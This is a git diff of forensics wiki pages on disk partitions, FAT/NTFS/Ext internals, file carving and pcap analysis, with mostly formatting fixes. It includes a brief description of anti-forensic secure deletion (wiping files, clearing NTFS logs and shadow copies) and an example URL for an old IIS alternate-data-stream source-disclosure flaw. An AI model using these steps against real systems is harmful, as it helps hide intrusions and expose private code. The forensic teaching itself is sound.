Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**. **In the following image a **MBR** was detected on the **sector 0** and interpreted: +After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image a **MBR** was detected on the **sector 0** and interpreted: ![](<../../../.gitbook/assets/image (494).png>) -If it was a **GPT table instead of a MBR** it should appear the signature _EFI PART_ in the** sector 1 **(which in the previous image is empty). +If it was a **GPT table instead of a MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). ## File-Systems @@ -144,13 +144,13 @@ If it was a **GPT table instead of a MBR** it should appear the signature _EFI P ### FAT -The** FAT (File Allocation Table) **file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. +The **FAT (File Allocation Table)** file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. ![](<../../../.gitbook/assets/image (495).png>) The minimum space unit used by this file-system is a **cluster, typically 512B** (which is composed by a number of sectors). -The earlier **FAT12** had a **cluster addresses to 12-bit** values with up to **4078** **clusters**; it allowed up to 4084 clusters with UNIX. The more efficient **FAT16** increased to **16-bit** cluster address allowing up to** 65,517 clusters** per volume. FAT32 uses 32-bit cluster address allowing up to** 268,435,456 clusters** per volume +The earlier **FAT12** had a **cluster addresses to 12-bit** values with up to **4078** **clusters**; it allowed up to 4084 clusters with UNIX. The more efficient **FAT16** increased to **16-bit** cluster address allowing up to **65,517 clusters** per volume. FAT32 uses 32-bit cluster address allowing up to **268,435,456 clusters** per volume The **maximum file-size allowed by FAT is 4GB** (minus one byte) because the file system uses a 32-bit field to store the file size in bytes, and 2^32 bytes = 4 GiB. This happens for FAT12, FAT16 and FAT32. @@ -164,7 +164,7 @@ The **root directory** occupies a **specific position** for both FAT12 and FAT16 * Address of the FAT table where the first cluster of the file starts * Size -When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to** **0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In case of FAT32, it is additionally erased field responsible for upper 16 bits of file start cluster value. +When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to **** 0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In case of FAT32, it is additionally erased field responsible for upper 16 bits of file start cluster value. ### **NTFS** @@ -174,7 +174,7 @@ When a file is "deleted" using a FAT file system, the directory entry remains al ### EXT -**Ext2 **is the most common file-system for **not journaling **partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling **and are used usually for the **rest partitions**. +**Ext2** is the most common file-system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. {% content-ref url="ext.md" %} [ext.md](ext.md) @@ -212,7 +212,7 @@ Also, the OS usually saves a lot of information about file system changes and ba Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. -There are several tools that you can use for file Carving indicating them the file-types you want search for +There are several tools that you can use for file Carving indicating them the file-types you want search for {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) @@ -229,12 +229,12 @@ For example, instead of looking for a complete file containing logged URLs, this ### Secure Deletion -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content **of a file with junk data several times, and then **remove** the **logs** from the** $MFT **and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**. \ +Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**. \ You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. ## References -* [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md index ee55c278..9d77748e 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md @@ -2,7 +2,7 @@ ## Ext - Extended Filesystem -**Ext2 **is the most common filesystem for **not journaling **partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling **and are used usually for the **rest partitions**. +**Ext2** is the most common filesystem for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. All block groups in the filesystem have the same size and are stored sequentially. This allows the kernel to easily derive the location of a block group in a disk from its integer index. @@ -19,7 +19,7 @@ Every block group contains the following pieces of information: ### Ext Optional Features -**Features affect where **the data is located, **how **the data is stored in inodes and some of them might supply **additional metadata **for analysis, therefore features are important in Ext. +**Features affect where** the data is located, **how** the data is stored in inodes and some of them might supply **additional metadata** for analysis, therefore features are important in Ext. Ext has optional features that your OS may or may not support, there are 3 possibilities: @@ -27,13 +27,13 @@ Ext has optional features that your OS may or may not support, there are 3 possi * Incompatible * Compatible Read Only: It can be mounted but not for writing -If there are **incompatible **features you won't be able to mount the filesystem as the OS won't know how the access the data. +If there are **incompatible** features you won't be able to mount the filesystem as the OS won't know how the access the data. {% hint style="info" %} Suspected attacker might have non-standard extensions {% endhint %} -**Any utility **that reads the **superblock **will be able to indicate the **features **of a **Ext filesystem**, but you could also use `file -sL /dev/sd*` +**Any utility** that reads the **superblock** will be able to indicate the **features** of a **Ext filesystem**, but you could also use `file -sL /dev/sd*` ### Superblock @@ -59,16 +59,16 @@ fsstat -o /pat/to/filesystem-file.ext ``` You can also use the free gui application: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ -Or you can also use **python **to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) +Or you can also use **python** to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) ### inodes -The **inodes **contain the list of **blocks **that **contains **the actual **data **of a **file**.\ -If the file is big, and inode **may contain pointers **to **other inodes **that points to the blocks/more inodes containing the file data. +The **inodes** contain the list of **blocks** that **contains** the actual **data** of a **file**.\ +If the file is big, and inode **may contain pointers** to **other inodes** that points to the blocks/more inodes containing the file data. ![](<../../../.gitbook/assets/image (416).png>) -In **Ext2 **and **Ext3 **inodes are of size **128B**, **Ext4 **currently uses **156B **but allocates **256B **on disk to allow a future expansion. +In **Ext2** and **Ext3** inodes are of size **128B**, **Ext4** currently uses **156B** but allocates **256B** on disk to allow a future expansion. Inode structure: @@ -140,7 +140,7 @@ Knowing the inode number you can easily find it's index: * **Block group** where an inode belongs: (Inode number - 1) / (Inodes per group) * **Index inside it's group**: (Inode number - 1) mod(Inodes/groups) -* **Offset **into **inode table**: Inode number \* (Inode size) +* **Offset** into **inode table**: Inode number \* (Inode size) * The "-1" is because the inode 0 is undefined (not used) ```bash @@ -190,7 +190,7 @@ Directories Can be stored in * Extra space between inodes (256 - inode size, usually = 100) -* A data block pointed to by file_acl in inode +* A data block pointed to by file\_acl in inode Can be used to store anything as a users attribute if name starts with "user". @@ -216,7 +216,7 @@ getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret" ### Filesystem View -In order to see the contents of the file system you can** use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ +In order to see the contents of the file system you can **use the free tool**: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ Or you can mount it in your linux using `mount` command. -[https://piazza.com/class_profile/get_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class_profile/get_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.) +[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index bf52c8c7..57b89739 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -8,9 +8,9 @@ More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. -### Binwalk +### Binwalk -**Binwalk **is a tool for searching binary files like images and audio files for embedded files and data.\ +**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.\ It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.\ **Useful commands**: @@ -33,7 +33,7 @@ foremost -v -i file.img -o output ### **Scalpel** -**Scalpel **is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. +**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. ```bash sudo apt-get install scalpel @@ -42,19 +42,19 @@ scalpel file.img -o output ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -This tool can scan an image and will **extract pcaps** inside it, **network information(URLs, domains, IPs, MACs, mails)** and more** files**. You only have to do: +This tool can scan an image and will **extract pcaps** inside it, **network information(URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: ``` bulk_extractor memory.img -o out_folder ``` -Navigate through** all the information** that the tool has gathered (passwords?), **analyse **the **packets **(read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware **or **non-existent**). +Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. @@ -68,7 +68,7 @@ Searches for AES keys by searching for their key schedules. Able to find 128. 19 Download [here](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Complementary tools -You can use [**viu **](https://github.com/atanunq/viu)to see images form the terminal.\ +You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal.\ You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index 5593b655..17b34b63 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -29,15 +29,15 @@ When you format an NTFS volume, the format program allocates the first 16 sector ### **Master File Table o $MFT** -The NTFS file system contains a file called the _master file table_, or MFT. There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its** size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. +The NTFS file system contains a file called the _master file table_, or MFT. There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its **size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. -As **files are added** to an NTFS file system volume, more entries are added to the MFT and the **MFT increases in size**. When **files** are **deleted** from an NTFS file system volume, their **MFT entries are marked as free **and may be reused. However, disk space that has been allocated for these entries is not reallocated, and the size of the MFT does not decrease. +As **files are added** to an NTFS file system volume, more entries are added to the MFT and the **MFT increases in size**. When **files** are **deleted** from an NTFS file system volume, their **MFT entries are marked as free** and may be reused. However, disk space that has been allocated for these entries is not reallocated, and the size of the MFT does not decrease. -The NTFS file system **reserves space for the MFT to keep the MFT as contiguous as possible** as it grows. The space reserved by the NTFS file system for the MFT in each volume is called the** MFT zone**. Space for file and directories are also allocated from this space, but only after all of the volume space outside of the MFT zone has been allocated. +The NTFS file system **reserves space for the MFT to keep the MFT as contiguous as possible** as it grows. The space reserved by the NTFS file system for the MFT in each volume is called the **MFT zone**. Space for file and directories are also allocated from this space, but only after all of the volume space outside of the MFT zone has been allocated. -Depending on the average file size and other variables,** either the reserved MFT zone or the unreserved space on the disk may be allocated first as the disk fills to capacity**. Volumes with a small number of relatively large files will allocate the unreserved space first, while volumes with a large number of relatively small files allocate the MFT zone first. In either case, fragmentation of the MFT starts to take place when one region or the other becomes fully allocated. If the unreserved space is completely allocated, space for user files and directories will be allocated from the MFT zone. If the MFT zone is completely allocated, space for new MFT entries will be allocated from the unreserved space. +Depending on the average file size and other variables, **either the reserved MFT zone or the unreserved space on the disk may be allocated first as the disk fills to capacity**. Volumes with a small number of relatively large files will allocate the unreserved space first, while volumes with a large number of relatively small files allocate the MFT zone first. In either case, fragmentation of the MFT starts to take place when one region or the other becomes fully allocated. If the unreserved space is completely allocated, space for user files and directories will be allocated from the MFT zone. If the MFT zone is completely allocated, space for new MFT entries will be allocated from the unreserved space. -NTFS file systems also generate a** $MFTMirror**. This is a **copy** of the **first 4 entries** of the MFT: $MFT, $MFT Mirror, $Log, $Volume. +NTFS file systems also generate a **$MFTMirror**. This is a **copy** of the **first 4 entries** of the MFT: $MFT, $MFT Mirror, $Log, $Volume. NTFS reserves the first 16 records of the table for special information: @@ -88,41 +88,41 @@ Each MFT entry has several attributes as the following image indicates: Each attribute indicates some entry information identified by the type: -| Type Identifier | Name | Description | -| --------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------- | -| 16 | $STANDARD_INFORMATION | General information, such as flags; the last accessed, written, and created times; and the owner and security ID. | -| 32 | $ATTRIBUTE_LIST | List where other attributes for file can be found. | -| 48 | $FILE_NAME | File name, in Unicode, and the last accessed, written, and created times. | -| 64 | $VOLUME_VERSION | Volume information. Exists only in version 1.2 (Windows NT). | -| 64 | $OBJECT_ID | A 16-byte unique identifier for the file or directory. Exists only in versions 3.0+ and after (Windows 2000+). | -| 80 | $SECURITY\_ DESCRIPTOR | The access control and security properties of the file. | -| 96 | $VOLUME_NAME | Volume name. | -| 112 | $VOLUME\_ INFORMATION | File system version and other flags. | -| 128 | $DATA | File contents. | -| 144 | $INDEX_ROOT | Root node of an index tree. | -| 160 | $INDEX_ALLOCATION | Nodes of an index tree rooted in $INDEX_ROOT attribute. | -| 176 | $BITMAP | A bitmap for the $MFT file and for indexes. | -| 192 | $SYMBOLIC_LINK | Soft link information. Exists only in version 1.2 (Windows NT). | -| 192 | $REPARSE_POINT | Contains data about a reparse point, which is used as a soft link in version 3.0+ (Windows 2000+). | -| 208 | $EA_INFORMATION | Used for backward compatibility with OS/2 applications (HPFS). | -| 224 | $EA | Used for backward compatibility with OS/2 applications (HPFS). | -| 256 | $LOGGED_UTILITY_STREAM | Contains keys and information about encrypted attributes in version 3.0+ (Windows 2000+). | +| Type Identifier | Name | Description | +| --------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------- | +| 16 | $STANDARD\_INFORMATION | General information, such as flags; the last accessed, written, and created times; and the owner and security ID. | +| 32 | $ATTRIBUTE\_LIST | List where other attributes for file can be found. | +| 48 | $FILE\_NAME | File name, in Unicode, and the last accessed, written, and created times. | +| 64 | $VOLUME\_VERSION | Volume information. Exists only in version 1.2 (Windows NT). | +| 64 | $OBJECT\_ID | A 16-byte unique identifier for the file or directory. Exists only in versions 3.0+ and after (Windows 2000+). | +| 80 | $SECURITY\_ DESCRIPTOR | The access control and security properties of the file. | +| 96 | $VOLUME\_NAME | Volume name. | +| 112 | $VOLUME\_ INFORMATION | File system version and other flags. | +| 128 | $DATA | File contents. | +| 144 | $INDEX\_ROOT | Root node of an index tree. | +| 160 | $INDEX\_ALLOCATION | Nodes of an index tree rooted in $INDEX\_ROOT attribute. | +| 176 | $BITMAP | A bitmap for the $MFT file and for indexes. | +| 192 | $SYMBOLIC\_LINK | Soft link information. Exists only in version 1.2 (Windows NT). | +| 192 | $REPARSE\_POINT | Contains data about a reparse point, which is used as a soft link in version 3.0+ (Windows 2000+). | +| 208 | $EA\_INFORMATION | Used for backward compatibility with OS/2 applications (HPFS). | +| 224 | $EA | Used for backward compatibility with OS/2 applications (HPFS). | +| 256 | $LOGGED\_UTILITY\_STREAM | Contains keys and information about encrypted attributes in version 3.0+ (Windows 2000+). | -For example the **type 48 (0x30)** identifies the** file name**: +For example the **type 48 (0x30)** identifies the **file name**: ![](<../../../.gitbook/assets/image (508).png>) -It is also useful to understand that** these attributes can be resident** (meaning, they exist within a given MFT record) or **nonresident** (meaning, they exist outside a given MFT record, elsewhere on the disk, and are simply referenced within the record). For example, if the attribute **$Data is resident**, these means that the **whole file is saved in the MFT**, if it's nonresident, then the content of the file is in other part of the file system. +It is also useful to understand that **these attributes can be resident** (meaning, they exist within a given MFT record) or **nonresident** (meaning, they exist outside a given MFT record, elsewhere on the disk, and are simply referenced within the record). For example, if the attribute **$Data is resident**, these means that the **whole file is saved in the MFT**, if it's nonresident, then the content of the file is in other part of the file system. Some interesting attributes: -* [$STANDARD_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard_information.html) (among others): +* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html) (among others): * Creation date * Modification date * Access date * MFT update date * DOS File permissions -* [$FILE_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file_name.html) (among others): +* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html) (among others): * File name * Creation date * Modification date @@ -130,7 +130,7 @@ Some interesting attributes: * MFT update date * Allocated size * Real size - * [File reference](https://flatcap.org/linux-ntfs/ntfs/concepts/file_reference.html) to the parent directory. + * [File reference](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html) to the parent directory. * [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (among others): * Contains the file's data or the indication of the sectors where the data resides. In the following example the attribute data is not resident so the attribute gives information about the sectors where the data resides. @@ -142,7 +142,7 @@ Some interesting attributes: ![](<../../../.gitbook/assets/image (512).png>) -Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv)** **(select the mft file or the image and press dump all and extract to extract al the objects).\ +Another useful tool to analyze the MFT is [**MFT2csv**](https://github.com/jschicht/Mft2Csv) **** (select the mft file or the image and press dump all and extract to extract al the objects).\ This program will extract all the MFT data and present it in CSV format. It can also be used to dump the files. ![](<../../../.gitbook/assets/image (513).png>) @@ -165,7 +165,7 @@ Filtering by filenames you can see **all the actions performed against a file**: ### $USNJnrl -The file `$EXTEND/$USNJnrl/$J` is and alternate data stream of the file `$EXTEND$USNJnrl` . This artifact contains a** registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. +The file `$EXTEND/$USNJnrl/$J` is and alternate data stream of the file `$EXTEND$USNJnrl` . This artifact contains a **registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. To inspect this file you can use the tool [**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv). @@ -177,15 +177,15 @@ Filtering by the filename it's possible to see **all the actions performed again Every **directory** in the file system contains an **`$I30`** **attribute** that must be maintained whenever there are changes to the directory's contents. When files or folders are removed from the directory, the **`$I30`** index records are re-arranged accordingly. However, **re-arranging of the index records may leave remnants of the deleted file/folder entry within the slack space**. This can be useful in forensics analysis for identifying files that may have existed on the drive. -You can get the `$I30` file of a directory from the **FTK Imager **and inspect it with the tool [Indx2Csv](https://github.com/jschicht/Indx2Csv). +You can get the `$I30` file of a directory from the **FTK Imager** and inspect it with the tool [Indx2Csv](https://github.com/jschicht/Indx2Csv). ![](<../../../.gitbook/assets/image (519).png>) -With this data you can find** information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this logs. However, you can see that** last modified date** of the **`$I30` file**, and if the** last action performed** over the directory is the **deletion** of a file, the times may be the same. +With this data you can find **information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this logs. However, you can see that **last modified date** of the **`$I30` file**, and if the **last action performed** over the directory is the **deletion** of a file, the times may be the same. ### $Bitmap -The **`$BitMap`** is a special file within the NTFS file system. This file keeps** track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location is uses is marked out in the `$BitMap`. +The **`$BitMap`** is a special file within the NTFS file system. This file keeps **track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location is uses is marked out in the `$BitMap`. ![](<../../../.gitbook/assets/image (523).png>) @@ -194,7 +194,7 @@ The **`$BitMap`** is a special file within the NTFS file system. This file keeps Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`.\ In this [page you can see different ways to create/access/discover alternate data streams](../../../windows/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past this cause a vulnerability in IIS as people was able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. -Using the tool [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate_data_streams.html) you can search and export all the files with some ADS. +Using the tool [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html) you can search and export all the files with some ADS. ![](<../../../.gitbook/assets/image (518).png>) @@ -202,7 +202,7 @@ Using the FTK imager and double clicking in a file with ADS you can **access the ![](<../../../.gitbook/assets/image (517).png>) -If you find an ADS called **`Zone.Identifier`** (see previous image) this usually contains** information about how was the file downloaded**. There would be a "ZoneId" field with the following info: +If you find an ADS called **`Zone.Identifier`** (see previous image) this usually contains **information about how was the file downloaded**. There would be a "ZoneId" field with the following info: * Zone ID = 0 -> Mycomputer * Zone ID = 1 -> Intranet diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index b9ba7db8..14dffd23 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -28,7 +28,7 @@ You can find some Wireshark trick in: ### Xplico Framework -****[**Xplico **](https://github.com/xplico/xplico)_(only linux)_** **can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. +****[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ **** can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. #### Install @@ -46,18 +46,18 @@ sudo apt-get install xplico /etc/init.d/xplico start ``` -Access to _**127.0.0.1:9876 **_with credentials _**xplico:xplico**_ +Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download **[**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ +Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening there in a **quick** way. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)** (It works in Windows)**.\ +You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ This is another useful tool that **analyse the packets** and sort the information in a useful way to **know what is happening inside**. ![](<../../../.gitbook/assets/image (567) (1) (1).png>) @@ -118,7 +118,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ### YaraPcap -****[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +****[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that * Reads a PCAP File and Extracts Http Streams. * gzip deflates any compressed streams @@ -138,7 +138,7 @@ Check if you can find any fingerprint of a known malware: > Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information **about the pcaps are. +Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. ### Connections Info diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index df6aa790..5c9e6e55 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -2,7 +2,7 @@ If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. -You only need to know that the **first 9 bytes** are not real data but are related to the** C\&C communication**: +You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: ```python from scapy.all import rdpcap, DNSQR, DNSRR diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 076286bd..a5a9dcca 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -26,9 +26,9 @@ The following link will be useful to find the **machines sending data inside a W * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output **adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC **addresses communicating inside the network you can use **filters **like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. ## Decrypt Traffic diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index dae1e917..acffa2f3 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -34,25 +34,25 @@ Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **i #### Conversations -Under _**Statistics --> Conversations **_you can find a **summary of the conversations** in the communication and data about them. +Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. ![](<../../../.gitbook/assets/image (573).png>) #### **Endpoints** -Under _**Statistics --> Endpoints **_you can find a **summary of the endpoints** in the communication and data about each of them. +Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. ![](<../../../.gitbook/assets/image (575).png>) #### DNS info -Under _**Statistics --> DNS **_you can find statistics about the DNS request captured. +Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. ![](<../../../.gitbook/assets/image (577).png>) #### I/O Graph -Under _**Statistics --> I/O Graph **_you can find a **graph of the communication.** +Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** ![](<../../../.gitbook/assets/image (574).png>) @@ -71,7 +71,7 @@ Other interesting filters: ### Search If you want to **search** for **content** inside the **packets** of the sessions press 